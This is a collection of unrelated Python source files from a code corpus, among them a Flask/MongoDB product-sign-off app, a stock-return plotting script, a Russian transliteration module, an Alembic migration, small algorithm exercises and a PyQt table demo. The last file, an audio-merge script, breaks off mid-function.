functions.date_to_string(product)\n\n return render_template(\"my_tasks.html\", products=products)\n else:\n flash(\"Please login to view this content\")\n return redirect(url_for(\"login\"))\n\n\n@app.route(\"/all_products\")\ndef all_products():\n if security.check_login():\n products = list(mongo.db.products.find({}, {\n \"product_name\": 1,\n \"department\": 1,\n \"customer\": 1,\n \"status\": 1,\n \"start_date\": 1,\n \"created_by\": 1,\n \"created_on\": 1\n }).sort([\n ('product_name', pymongo.ASCENDING)\n ]))\n\n for product in products:\n functions.date_to_string(product)\n\n return render_template(\"all_products.html\", products=products)\n else:\n flash(\"Please login to view this content\")\n return redirect(url_for(\"login\"))\n\n\n# Add Product Details Route\n@app.route(\"/add_product_details/\", methods=[\"GET\", \"POST\"])\ndef add_product_details(product_id):\n if security.check_login():\n # the form for adding product details will differ depending on\n # the product and the role\n # of the user\n role = session[\"role\"]\n\n # check if product id passed is a valid objectid, redirect if not\n if not ObjectId.is_valid(product_id):\n flash(\"Invalid Product Id\")\n return redirect(url_for(\"get_upcoming\"))\n\n product = mongo.db.products.find_one({\"_id\": ObjectId(product_id)})\n\n # check if the requested product_id exists, redirect if not\n if product is None:\n flash(\"Product Does Not Exist\")\n return redirect(url_for(\"get_upcoming\"))\n\n if session[\"department\"] not in [product[\"department\"], \"All\"]:\n flash(\"You do not have permission to edit this product\")\n return redirect(url_for('get_upcoming'))\n\n if product[\"status\"] == \"Completed - Production Ready\":\n flash(\"Cannot edit Production Ready product\")\n return redirect(url_for('get_upcoming'))\n\n # we get the customer and department from the product object\n customer = product[\"customer\"]\n department = product[\"department\"]\n\n # we get the field_list by searching with the customer and department\n # we only want the fields that are relevant for this user's role\n\n field_list = mongo.db.form_fields.find_one({\n \"$and\": [{\"customer\": customer}, {\"department\": department}]\n })\n\n # we get a list of roles to cycle through when we are building the\n # details tabs\n roles = list(mongo.db.roles.find({\n \"role_name\": {\"$nin\": [\"Admin\", \"Management\"]}\n }))\n\n # convert datetime start date to string\n functions.date_to_string(product)\n\n if request.method == \"POST\":\n # we need the user's first and last name to put in the \"added_by\"\n # field\n user = mongo.db.users.find_one({\"username\": session[\"user\"]})\n\n # we start with an empty details dictionary\n update_details = {}\n\n for role_obj in roles:\n if role in [role_obj[\"role_name\"], \"Admin\"]:\n update_details[role_obj[\"role_name\"].lower()] = \\\n functions.update_dict_builder(\n field_list[\n (role_obj[\"role_name\"].lower()) + \"_details\"\n ],\n request, mongo)\n if role != \"Commercial\":\n update_details[role_obj[\"role_name\"].lower(\n )][\"added_by\"] = user[\"f_name\"] + \" \" + user[\"l_name\"]\n update_details[role_obj[\"role_name\"].lower(\n )][\"date_added\"] = datetime.now()\n\n if \"commercial\" in update_details.keys():\n for key, value in update_details[\"commercial\"].items():\n update_details[key] = value\n del update_details[\"commercial\"]\n\n # we then update the product and create an object of the role name\n # which is equal to the\n # dictionary we just created\n mongo.db.products.update_one({\"_id\": ObjectId(product_id)}, {\n \"$set\": update_details\n })\n\n # after updating we get the product object from the database again\n # so that we can check\n # what roles have submitted their information and which have not\n product = mongo.db.products.find_one({\"_id\": ObjectId(product_id)})\n\n outstanding_roles = []\n\n # we cycle through the roles and check if an object of the role\n # exists within the product\n for role in roles:\n if not (role[\"role_name\"].lower()\n in product) and role[\"role_name\"] != \"Commercial\":\n outstanding_roles.append(role[\"role_name\"])\n\n # if there are no outstanding roles left to input information then\n # the product is ready\n # to be signed off by commercial, if not then we give it the\n # status of\n # \"Pending - Awaiting \" followed by the roles that have yet to\n # submit information\n if len(outstanding_roles) == 0:\n status = \"Pending - Awaiting Commercial Sign Off\"\n elif len(outstanding_roles) > 2:\n status = \"Pending - Awaiting Many\"\n else:\n status = \"Pending - Awaiting \" + (\", \").join(outstanding_roles)\n\n mongo.db.products.update_one({\"_id\": ObjectId(product_id)}, {\n \"$set\": {\"status\": status}\n })\n\n email_group = mongo.db.users.find({\n \"department\": {\"$in\": [product[\"department\"], \"All\"]}\n }, {\n \"email\": 1\n })\n\n email_group_array = []\n\n for email in email_group:\n email_group_array.append(email[\"email\"])\n\n message = \"\"\"\n A product has been updated.\n\n Product Name: %s\n Customer: %s\n Department: %s\n User: %s\n\n You can view the product here: %s\n \"\"\" % (product[\"product_name\"],\n product[\"customer\"],\n product[\"department\"],\n user[\"f_name\"] + \" \" + user[\"l_name\"],\n \"https://meade-product-app.herokuapp.com\" + url_for(\n \"view_product\", product_id=product_id))\n\n email_func.send_email(\n email_group_array,\n \"A Product Has Been Updated\",\n message)\n\n flash(\"Product Details Added Successfully\")\n return redirect(url_for(\"my_tasks\"))\n\n functions.process_field_list(field_list, mongo)\n\n return render_template(\n \"add_product_details.html\",\n product=product,\n field_list=field_list,\n roles=roles)\n else:\n flash(\"Please login to view this content\")\n return redirect(url_for(\"login\"))\n\n\n# Delete Product Route\n@app.route(\"/delete_product/\", methods=[\"GET\", \"POST\"])\ndef delete_product(product_id):\n if security.check_login():\n if session[\"role\"] == \"Commercial\" or session[\"role\"] == \"Admin\":\n # check if product id passed is a valid objectid, redirect if not\n if not ObjectId.is_valid(product_id):\n flash(\"Invalid Product Id\")\n return redirect(url_for(\"get_upcoming\"))\n\n product = mongo.db.products.find_one({\"_id\": ObjectId(product_id)})\n\n # check if the requested product_id exists, redirect if not\n if product is None:\n flash(\"Product Does Not Exist\")\n return redirect(url_for(\"get_upcoming\"))\n\n if request.method == \"POST\":\n mongo.db.products.delete_one({\"_id\": ObjectId(product_id)})\n\n flash(\"Product Successfully Deleted\")\n return redirect(url_for(\"get_upcoming\"))\n\n return render_template(\"delete_product.html\", product=product)\n else:\n flash(\"You do not have permission to view this content\")\n return redirect(url_for('get_upcoming'))\n else:\n flash(\"Please login to view this content\")\n return redirect(url_for('login'))\n\n\n# Commercial Sign Off Route\n@app.route(\"/sign_off/\", methods=[\"GET\", \"POST\"])\ndef sign_off(product_id):\n if security.check_login():\n if session[\"role\"] == \"Commercial\" or session[\"role\"] == \"Admin\":\n # check if product id passed is a valid objectid, redirect if not\n if not ObjectId.is_valid(product_id):\n flash(\"Invalid Product Id\")\n return redirect(url_for(\"get_upcoming\"))\n\n product = mongo.db.products.find_one({\"_id\": ObjectId(product_id)})\n\n # check if the requested product_id exists, redirect if not\n if product is None:\n flash(\"Product Does Not Exist\")\n return redirect(url_for(\"get_upcoming\"))\n\n # check if user has permission to edit product\n if session[\"department\"] not in [product[\"department\"], \"All\"]:\n flash(\"You do not have permission to edit this product\")\n return redirect(url_for('get_upcoming'))\n\n # Check if product has correct status to allow sign off\n if product[\"status\"] != \"Pending - Awaiting Commercial Sign Off\":\n flash(\"Product Not Ready For Sign Off\")\n return redirect(url_for(\"get_upcoming\"))\n\n roles = list(mongo.db.roles.find({\n \"role_name\": {\"$nin\": [\"Admin\", \"Commercial\", \"Management\"]}\n }))\n\n if request.method == \"POST\":\n mongo.db.products.update_one({\"_id\": ObjectId(product_id)}, {\n \"$set\": {\n \"sign_off\": {\n \"signature\": request.form.get(\"signature-input\"),\n \"submitted_on\": datetime.now(),\n \"submitted_by\": session[\"user\"]\n },\n \"status\": \"Completed - Production Ready\"\n }\n })\n\n flash(\"Product Signed Off Successfully\")\n return redirect(url_for(\"get_upcoming\"))\n\n return render_template(\n \"sign_off.html\", product=product, roles=roles)\n else:\n flash(\"You do not have permission to view this content\")\n return redirect(url_for('get_upcoming'))\n\n\n# Register Route\n@app.route(\"/register\", methods=[\"GET\", \"POST\"])\ndef register():\n if security.check_login():\n # if the user is already logged in we don't want them registering again\n flash(\"You are already logged in\")\n return redirect(url_for(\"get_upcoming\"))\n\n if request.method == \"POST\":\n # we check to see if the username exists in the database already\n user_exists = mongo.db.users.find_one(\n {\"username\": request.form.get(\"username\").lower()}\n )\n\n if user_exists:\n flash(\"This Username is taken!\")\n return redirect(url_for(\"register\"))\n # we check to see if the password and password_repeat values match\n elif request.form.get(\"password\") != \\\n request.form.get(\"password_repeat\"):\n flash(\"Passwords do not match!\")\n return redirect(url_for('register'))\n else:\n # if the form passes all checks then we create the user dictionary\n # and insert it into the database\n user = {\n \"username\": request.form.get(\"username\"),\n \"f_name\": request.form.get(\"f_name\"),\n \"l_name\": request.form.get(\"l_name\"),\n \"email\": request.form.get(\"email\"),\n \"password\": generate_password_hash(\n request.form.get(\"password\")),\n \"department\": request.form.get(\"department\"),\n \"role\": request.form.get(\"role\")}\n mongo.db.users.insert_one(user)\n\n session[\"user\"] = request.form.get(\"username\")\n session[\"department\"] = request.form.get(\"department\")\n session[\"role\"] = request.form.get(\"role\")\n flash(\"Registration Successful\")\n return redirect(url_for(\"get_upcoming\"))\n\n departments = list(mongo.db.departments.find().sort([\n ('department_name', pymongo.ASCENDING)\n ]))\n\n roles = list(mongo.db.roles.find({\n \"role_name\": {\"$ne\": \"Admin\"}\n }).sort('role_name', pymongo.ASCENDING))\n\n return render_template(\n \"register.html\",\n departments=departments,\n roles=roles)\n\n\n@app.route(\"/login\", methods=[\"GET\", \"POST\"])\ndef login():\n if security.check_login():\n # if a user is already logged in we don't want them attempting to log\n # in again\n flash(\"You are already logged in\")\n return redirect(url_for(\"get_upcoming\"))\n\n if request.method == \"POST\":\n # we check that the user exists exists and if the password provided\n # matches the\n # hash of the password in the database\n user_exists = mongo.db.users.find_one(\n {\"username\": request.form.get(\"username\")}\n )\n\n if user_exists:\n if check_password_hash(\n user_exists[\"password\"],\n request.form.get(\"password\")):\n # if it does then we set session variables for the user\n # specifying their\n # username, department and role\n session[\"user\"] = request.form.get(\"username\")\n session[\"department\"] = user_exists[\"department\"]\n session[\"role\"] = user_exists[\"role\"]\n flash(\n \"You are logged in as {}\".format(\n request.form.get(\"username\")))\n return redirect(url_for(\"get_upcoming\"))\n else:\n flash(\"Incorrect Username/Password\")\n return redirect(url_for(\"login\"))\n else:\n flash(\"Incorrect Username/Password\")\n return redirect(url_for(\"login\"))\n\n return render_template(\"login.html\")\n\n\n# Log Out Route\n@app.route(\"/logout\")\ndef logout():\n # we remove the session variables when the user logs out\n flash(\"You have been logged out\")\n session.pop(\"user\")\n session.pop(\"department\")\n session.pop(\"role\")\n return redirect(url_for(\"login\"))\n\n\n@app.errorhandler(404)\ndef not_found(e):\n return render_template('404.html'), 404\n\n\n@app.errorhandler(503)\ndef server_error(e):\n return render_template('503.html'), 503\n\nif 'LOCAL' in os.environ:\n serve(app,\n host=os.environ.get(\"IP\"),\n port=int(os.environ.get(\"PORT\")),\n threads=1)\nelse:\n if __name__ == \"__main__\":\n app.run(debug=('LOCAL' in os.environ),\n host=os.environ.get(\"IP\"),\n port=int(os.environ.get(\"PORT\")))\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":28436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"196747687","text":"import pandas as pd \nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport numpy as np\nimport talib\nimport statsmodels.api as sm \nimport os\n\npd.options.display.float_format = '{:.3f}'.format\n\n\ndef symbol_to_path(symbol):\n return os.path.join(\"{}.csv\".format(str(symbol)))\n\ndef daily_return(df):\n \tdf_return = df.copy()\n \tdf_return = df_return.rename(columns = {\"Adj Close\" : \"Daily Return\"})\n \tdf_return[1:] = (df[1:]/df[:-1].values)-1\n \tdf_return.iloc[0] = 0\n \tdf_return['Daily Return'] = df_return['Daily Return']*100\n \tax = df_return.plot(title = \"Daily Returns Plot\")\n \tplt.show()\n\n\ndef cumulative_return(df):\n \tdf_cr = df.copy()\n \tdf_cr=df_cr.rename(columns = {\"Adj Close\" : \"Cumilative Return\"})\n \tdf_cr[1:] = (df[1:]/df.iloc[0])-1\n \tdf_cr.iloc[0] = 0\n \tdf_cr = df_cr['Cumilative Return']*100\n \tax = df_cr.plot(title = \"Cumm Return\")\n \tplt.show()\n\n\ndef bollinger_bands(df):\n\trm = df.rolling(20).mean()\n\trstd =df.rolling(20).std()\n\tub = rm+ 2*rstd\n\tlb = rm- 2*rstd\n\tax = df.plot(title = \"Bollinger Bounds\")\n\trm=rm.rename(columns = {\"Adj Close\" : \"Rolling Mean \"})\n\trm.plot(label = \"Rolling Mean\", ax=ax)\n\tub=ub.rename(columns = {\"Adj Close\" : \"Upper Bound\"})\n\tub.plot(label = \"Upper Bound\", ax=ax)\n\tlb=lb.rename(columns = {\"Adj Close\" : \"Lower Bound\"})\n\tlb.plot(label = \"Lower Bound\", ax=ax)\n\tplt.show()\n\n\n#Sample Run\npath = symbol_to_path('AZPN')\ndf_AZPN = pd.read_csv(path, index_col=\"Date\",parse_dates=True, usecols=[\"Date\", \"Adj Close\"])\ndf_AZPN = df_AZPN.iloc[::-1]\n\ndates_2017 = pd.date_range('2017-01-01','2017-12-31')\ndf_2017 = pd.DataFrame(index = dates_2017)\ndf_2017 = df_2017.join(df_AZPN)\ndf_2017 = df_2017.dropna()\ncumulative_return(df_2017)\n\n","sub_path":"rolling_stats.py","file_name":"rolling_stats.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"605825773","text":"import re\n\n\nclass RulesOld:\n \"\"\"Предположительно Приказ МВД N 782\n http://www.consultant.ru/document/cons_doc_LAW_28295/3d53b063c117e5309f5e1d78aaead678fb642834/\n \"\"\"\n # old\n special_rules = { # Е Ё И\n 'Е': {'YE': {'at_start': None, 'after': 'ЬЪАЕЁИЙОЫЭЮЯ'}},\n 'Ё': {'E': {'after': 'ЧШЩЖ'},\n 'YO': {'at_start': None, 'after': 'ЬЪАЕЁИЙОЫЭЮЯ'},\n 'YE': {'after': 'БВГДЗКЛМНПРСТФХЦ'},\n },\n 'И': {'YI': {'after': 'Ь'}}\n\n }\n mapping = (\n u'АБВГДЕ' + 'З' + 'ИЙКЛМНОПРСТУФ' + 'ЪЫЬЭ', # ЕЁЖ #И #ХЦЧШЩ #ЮЯ\",\n u'ABVGDE' + 'Z' + 'IYKLMNOPRSTUF' + '\\'Y\\'e',\n )\n\n multi_mapping = { # Ж ХЦЧШЩ ЮЯ\n u\"Ж\": u\"ZH\",\n u\"Х\": u\"KH\",\n u\"Ц\": u\"TS\",\n u\"Ч\": u\"CH\",\n u\"Ш\": u\"SH\",\n u\"Щ\": u\"SHCH\",\n u\"Ю\": u\"YU\",\n u\"Я\": u\"YA\",\n }\n\n\nclass RulesNew:\n \"\"\" Приказ МВД N 995 (2015-н/в)\n http://www.consultant.ru/document/cons_doc_LAW_195687/3197806174c701185ffd8e8986a24173958def21/\"\"\"\n special_rules = { # Е Ё И\n # 'Е': {'YE': {'at_start': None, 'after': 'ЬЪ'}}, #АЕЁИЙОЫЭЮЯ\n # 'Ё': {'E': {'after': 'ЧШЩЖ'},\n # 'YO': {'at_start': None, 'after': 'ЬЪАЕЁИЙОЫЭЮЯ'},\n # 'YE': {'after': 'БВГДЗКЛМНПРСТФХЦ'},\n # },\n # 'И': {'YI': {'after': 'Ь'}}\n\n }\n mapping = (\n u'АБВГДЕ' + 'З' + 'ИЙКЛМНОПРСТУФ' + 'ЫЬЭ',#ЕЁЖ #И #ХЦЧШЩ #ЮЯ\",\n u'ABVGDE' + 'Z' + 'IIKLMNOPRSTUF' + 'Y\\'e',\n )\n\n multi_mapping = { # Ж ХЦЧШЩ ЮЯ\n u\"Ж\": u\"ZH\",\n u\"Х\": u\"KH\",\n u\"Ц\": u\"TS\",\n u\"Ч\": u\"CH\",\n u\"Ш\": u\"SH\",\n u\"Щ\": u\"SHCH\",\n u\"Ю\": u\"IU\", #?\n u\"Я\": u\"IA\", # /mnt/hit4/hit4user/PycharmProjects/cnn/samples/vodit_udostav/0/76-208-0.png\n u'Ъ': u'IE'\n }\n\n\ndef translit(rustr: str, rules) -> str:\n \"\"\"\n Водительское удостоверение.\n\n :param rustr:\n :return: latin\n \"\"\"\n\n special_rules = rules.special_rules\n mapping = rules.mapping\n multi_mapping = rules.multi_mapping\n\n new_line = rustr\n #special_rules\n for rus_char, letters_dict in special_rules.items():\n for eng_char, rules in letters_dict.items():\n for rul, support in rules.items():\n if rul == 'at_start':\n if new_line[0] == rus_char:\n new_line = eng_char + new_line[1:]\n\n if rul == 'after':\n for _ in range(len(new_line)):\n for i, c in enumerate(new_line):\n if c == rus_char and i > 0 and new_line[i-1] in support:\n new_line = new_line[:i] + eng_char + new_line[i+1:]\n break\n\n # mapping\n for i, c in enumerate(mapping[0]):\n new_line = re.sub(c, mapping[1][i], new_line)\n\n # multi_mapping\n for c, repl in multi_mapping.items():\n new_line = re.sub(c, repl, new_line)\n\n return new_line\n\n\ndef check(rus, lat, p3=False) -> bool:\n # TODO: сделать сложный регекс чтобы исключить названия с АРЕСП и КОБЛАНКА\n # rus = re.sub(' +', '', rus)\n # lat = re.sub(' +', '', lat)\n if p3:\n tr_old = translit(rus, RulesOld)\n tr_new = translit(rus, RulesNew)\n tr2_old = re.sub(r'RESP\\.?', 'RESPUBLICA',\n tr_old) # new /mnt/hit4/hit4user/PycharmProjects/cnn/samples/vodit_udostav/0/31-329-0.png\n tr2_old = re.sub(r'OBL\\.?', \"OBLAST'\",\n tr2_old) # new /mnt/hit4/hit4user/PycharmProjects/cnn/samples/vodit_udostav/0/37-168-0.png\n tr2_new = re.sub(r'RESP\\.?', 'RESPUBLIKA', tr_new)\n tr2_new = re.sub(r'OBL\\.?', \" OBLAST'\", tr2_new)\n # we don't know the difference between old and new\n if tr_old == lat or tr_new == lat or tr2_old == lat or tr2_new == lat:\n return True\n\n elif translit(rus, RulesOld) == lat or translit(rus, RulesNew) == lat:\n return True\n return False\n\n\nif __name__ == '__main__': # test\n if translit('ЕАЛЬИСЬEEЬEЯ', RulesOld) != \"YEAL'YIS'EE'EYA\": # Приказ МВД N 782\n print(\"fail1\")\n\n if translit('СЕРГЕЕВИЧ', RulesOld) != 'SERGEYEVICH': # /mnt/hit4/hit4user/PycharmProjects/cnn/samples/vodit_udostav/0/45-287-0.png\n print(\"fail2\")\n\n if translit('ИГОРЬ', RulesOld) != \"IGOR'\" and translit('ИГОРЬ', RulesNew) != \"IGOR'\":\n print(\"fail3\")\n\n if translit('РЕСП. ДАГЕСТАН', RulesOld) != 'RESP. DAGESTAN':\n print('fail4')\n\n if translit('САГИНБАЕВ', RulesNew) != 'SAGINBAEV': # new /mnt/hit4/hit4user/PycharmProjects/cnn/samples/passport_and_vod/0/2019080115-2-0.png\n print('fail5')\n\n if translit('ЕВГЕНЬЕВИЧ', RulesOld) != \"YEVGEN'YEVICH\": # 'YEVGEN'YEVICH' old # /mnt/hit4/hit4user/PycharmProjects/cnn/samples/vodit_udostav/0/7-408-6.png\n print('fail6')\n\n if translit('АНАТОЛЬЕВИЧ', RulesNew) != \"ANATOL'EVICH\": # new /mnt/hit4/hit4user/PycharmProjects/cnn/samples/passport_and_vod/0/30-161-10.png\n print('fail7')\n\n if not check('ЧЕЛЯБИНСКАЯ ОБЛ.', 'CHELYABINSKAYA OBL.',\n p3=True): # /mnt/hit4/hit4user/PycharmProjects/cnn/samples/vodit_udostav/0/45-176-0.png\n print('fail8')\n\n if not check('ЧЕЛЯБИНСКАЯ ОБЛ', \"CHELYABINSKAYA OBLAST'\",\n p3=True): # /mnt/hit4/hit4user/PycharmProjects/cnn/samples/vodit_udostav/0/45-176-0.png\n print('fail9')\n\n if not check('РЕСП ДАГЕСТАН', \"RESPUBLIKA DAGESTAN\",\n p3=True): # /mnt/hit4/hit4user/PycharmProjects/cnn/samples/vodit_udostav/0/45-446-0.png\n print('fail10')\n\n if not check('УКРАИНА', 'UKRAINA',\n p3=True): # /mnt/hit4/hit4user/PycharmProjects/cnn/samples/passport_and_vod/0/29-327-0.png\n print('fail11')\n\n print(translit('ХУССЕЙН', RulesNew))\n print('KHUSSEIN')\n print(check('ХУССЕЙН', 'KHUSSEIN'))\n","sub_path":"translit_drivingl.py","file_name":"translit_drivingl.py","file_ext":"py","file_size_in_byte":6320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"471723453","text":"\"\"\"migrations to add subbscriber class\n\nRevision ID: a7794fa06559\nRevises: af4f7e89a979\nCreate Date: 2021-03-08 23:14:41.188021\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'a7794fa06559'\ndown_revision = 'af4f7e89a979'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('subscriber',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('username', sa.String(length=255), nullable=True),\n sa.Column('email', sa.String(length=255), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_index(op.f('ix_subscriber_email'), 'subscriber', ['email'], unique=True)\n op.alter_column('blogs', 'user_id',\n existing_type=sa.INTEGER(),\n nullable=False)\n op.drop_constraint('blogs_user_id_fkey', 'blogs', type_='foreignkey')\n op.create_foreign_key(None, 'blogs', 'users', ['user_id'], ['id'], ondelete='CASCADE')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(None, 'blogs', type_='foreignkey')\n op.create_foreign_key('blogs_user_id_fkey', 'blogs', 'users', ['user_id'], ['id'])\n op.alter_column('blogs', 'user_id',\n existing_type=sa.INTEGER(),\n nullable=True)\n op.drop_index(op.f('ix_subscriber_email'), table_name='subscriber')\n op.drop_table('subscriber')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/a7794fa06559_migrations_to_add_subbscriber_class.py","file_name":"a7794fa06559_migrations_to_add_subbscriber_class.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"544736883","text":"# Given two 1d vectors, implement an iterator to return their elements alternately.\n# For example, given two 1d vectors:\n# v1 = [1, 2]\n# v2 = [3, 4, 5, 6]\n# By calling next repeatedly until hasNext returns false, the order of elements returned by next should be: [1, 3, 2, 4, 5, 6].\n# Follow up: What if you are given k 1d vectors? How well can your code be extended to such cases?\nimport copy\n\n\nclass zigzag(object):\n \"\"\"docstring for zigzag\"\"\"\n\n def __init__(self, arg):\n super(zigzag, self).__init__()\n self.arg = copy.deepcopy(arg)\n self.inds = [0] * len(arg)\n\n def next(self):\n res = float('inf')\n index = 0\n for i in range(len(self.inds)):\n if self.inds[i] >= len(self.arg[i]):\n continue\n if res > self.arg[i][self.inds[i]]:\n res = self.arg[i][self.inds[i]]\n index = i\n self.inds[index] += 1\n\n return res\n\n def hasNext(self):\n for i in range(len(self.inds)):\n if self.inds[i] < len(self.arg[i]):\n return True\n return False\n","sub_path":"Google/N281_Zigzag_Iterator.py","file_name":"N281_Zigzag_Iterator.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"400317607","text":"# Given the participants' score sheet for your University Sports Day,\n# you are required to find the runner-up score. You are given scores.\n# Store them in a list and find the score of the runner-up.\n\n# Generating a list with map\n# list(map(function, iterable))\n\n# Generating a list with a list comprehension\n# [function(x) for x in iterable]\n\nif __name__ == '__main__':\n n = int(input())\n arr = list(map(int, input().split()))\n\n if 2 <= n <= 10:\n di = dict()\n for num in arr[:n]:\n di[num] = di.get(num, 0) + 1\n lst_keys = list(di.keys())\n lst_keys = sorted(lst_keys, reverse=True)\n runup = lst_keys[1]\n\n print(arr)\n print(di)\n print(lst_keys)\n print(runup)\n\n else:\n print(\"Make your first input a number between 2 to 10, inclusive.\")\n","sub_path":"Basic-Data-Type/Find_the_Runner_Up_Score.py","file_name":"Find_the_Runner_Up_Score.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"191233997","text":"\"\"\"Question 5 - Demonstrate how to add widgets into table views\n\nRather than use delegates for rendering and editing items, it \nis sometimes desirable to simply insert widgets into a view \nto display static content. \n\nBuilding Custom UIs with PyQt with Packt Publishing\nChapter 3 - Getting More Out of PyQt’s Model/View Programming\nCreated by: Joshua Willman\n\"\"\"\n\n# Import necessary modules\nimport sys \nfrom PyQt6.QtWidgets import (QApplication, QMainWindow, QWidget, \n QLabel, QPushButton, QDateEdit, QTableView, QMessageBox,\n QHeaderView, QHBoxLayout, QVBoxLayout, QAbstractItemView)\nfrom PyQt6.QtCore import Qt, QDate, QModelIndex\nfrom PyQt6.QtGui import QIcon, QStandardItemModel, QStandardItem\n\nclass EditCellWidget(QWidget):\n\n def __init__(self, table_view):\n \"\"\" A simple class that inherits QWidget and acts as a container \n for items added to QTableView cells \"\"\"\n super().__init__()\n self.table_view = table_view\n self.setAutoFillBackground(True) # Prevent the background from showing when editing\n\n view_button = QPushButton(QIcon(\"icons/view.png\"), None)\n view_button.clicked.connect(self.displayItemValues)\n delete_button = QPushButton(QIcon(\"icons/trash.png\"), None)\n delete_button.clicked.connect(self.deleteTableRows)\n\n # Create the layout for the buttons\n cell_layout = QHBoxLayout()\n cell_layout.setContentsMargins(0, 0, 0, 0)\n cell_layout.setSpacing(0)\n cell_layout.addWidget(view_button)\n cell_layout.addWidget(delete_button)\n self.setLayout(cell_layout)\n\n def displayItemValues(self):\n \"\"\"Simple method that demonstrates how to retrieve the values \n from the widgets.\"\"\"\n # Get the model index of the item (in this case the view_button) \n # at the viewport coordinates \n index = self.table_view.indexAt(self.pos()) # Get the index of the button pushed\n row = index.row() # Get the row of that button\n # Use the row value to get the index of the cells in that row, column 1\n widget_index = self.table_view.model().sibling(row, 1, QModelIndex()) \n # Use indexWidget to get the QDateEdit widget\n date_edit_widget = self.table_view.indexWidget(widget_index)\n \n # Get value from the cell in column 0 for the selected row\n name = self.table_view.model().sibling(row, 0, QModelIndex()).data()\n\n # Display name and date in a QMessageBox\n QMessageBox.information(self, \"User Information\",\n f\"\"\"Name: {name}
      \n Birthdate: {date_edit_widget.date().toString(\"MM/dd/yyyy\")}\"\"\")\n\n def deleteTableRows(self):\n \"\"\"Method that demonstrates how to delete the rows from the table.\"\"\"\n # Get the model index of the item (in this case the delete_button) \n # at the viewport coordinates \n index = self.table_view.indexAt(self.pos())\n row = index.row()\n self.table_view.model().removeRow(row)\n\nclass MainWindow(QMainWindow):\n\n def __init__(self):\n \"\"\" MainWindow Constructor \"\"\"\n super().__init__()\n self.initializeUI()\n \n def initializeUI(self):\n \"\"\"Initialize settings, call functions that define \n UI elements, and display the main window.\"\"\" \n self.setWindowTitle(\"Adding Widgets to QTableView Cells\")\n self.setMinimumSize(500, 400)\n \n self.setUpMainWindow()\n self.show() # Display the main window\n\n def setUpMainWindow(self):\n \"\"\"Set up the GUI's main window.\"\"\"\n header_label = QLabel(\"List of Users\")\n\n # Create model and table objects\n model = QStandardItemModel()\n model.setColumnCount(3)\n model.setHorizontalHeaderLabels([\"Name\", \"Birthdate\", \"Actions\"])\n\n table_view = QTableView()\n table_view.setEditTriggers(QAbstractItemView.EditTrigger.NoEditTriggers)\n # NOTE: Uncomment for table cells to be unselectable\n #table_view.setSelectionMode(QAbstractItemView.SelectionMode.NoSelection)\n table_view.setModel(model)\n table_view.horizontalHeader().setSectionResizeMode(0, QHeaderView.ResizeMode.Stretch)\n\n names_list = [\"Willman, Joshua\", \"Davis, Scott\", \"Garcia, Sky\"]\n\n # Add items to each row in the table by looping over \n # the names_list and adding the date edit and button widgets\n for row, name in enumerate(names_list):\n model.setItem(row, QStandardItem(name))\n # Setting the widget at an index in a QTableView involves\n # acquiring the QModelIndex values of the current position.\n # One way to do this is to use the QAbstractItemModel.sibling()\n # method to retrieve the QModelIndex index from the specified \n # row and column (here the column is 1)\n index = table_view.model().sibling(row, 1, QModelIndex())\n date_edit = QDateEdit(QDate.currentDate()) # Create QDateEdit object that starts at current date\n date_edit.setDateRange(QDate(1900, 1, 1), QDate.currentDate())\n date_edit.setDisplayFormat(\"MM/dd/yyyy\")\n date_edit.setAlignment(Qt.AlignmentFlag.AlignRight) # Align the text\n date_edit.setAutoFillBackground(True)\n table_view.setIndexWidget(index, date_edit)\n # Set the widgets in the final column for each row\n index = table_view.model().sibling(row, 2, QModelIndex())\n table_view.setIndexWidget(index, EditCellWidget(table_view))\n\n # Set up main layout and container object for main window\n main_v_box = QVBoxLayout()\n main_v_box.addWidget(header_label)\n main_v_box.addWidget(table_view)\n\n container = QWidget()\n container.setLayout(main_v_box)\n self.setCentralWidget(container)\n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n window = MainWindow()\n sys.exit(app.exec())","sub_path":"Chapter03/add_widgets_to_view.py","file_name":"add_widgets_to_view.py","file_ext":"py","file_size_in_byte":5939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"429572521","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Apr 28 13:02:37 2019\n\n@author: macfa\n\"\"\"\nimport librosa\nimport os\nimport soundfile as sf\n\n\naudio_path = '../../lf/separated_data/audio'\nnormalize_audio_path = '../../lf/norm_data/audio'\nmix_path = '../../lf/mixture_data/audio'\nnparray_path = '../../lf/separated_data/nparray'\nSR = 16000\naudio_num = 200\ndef audio_merge(nparray_path, audio_path, mix_path, audio_num):\n f = []\n for (dirpath, dirnames, filenames) in os.walk(nparray_path):\n f.extend(filenames)\n break\n \n f = f[:audio_num]\n progress = 0\n\n for i in range(len(f)):\n path1 = f[i]\n name1 = path1[:-12]\n path1 = name1 + '.wav'\n \n path2_count = i + 1\n if path2_count == len(f):\n break\n while filenames[path2_count][:11] not in path1:\n path2 = f[path2_count]\n name2 = path2[:-12]\n path2 = name2 + '.wav'\n \n ### load\n signal1, _ = librosa.load(audio_path + '/' + path1, sr=SR)\n signal2, 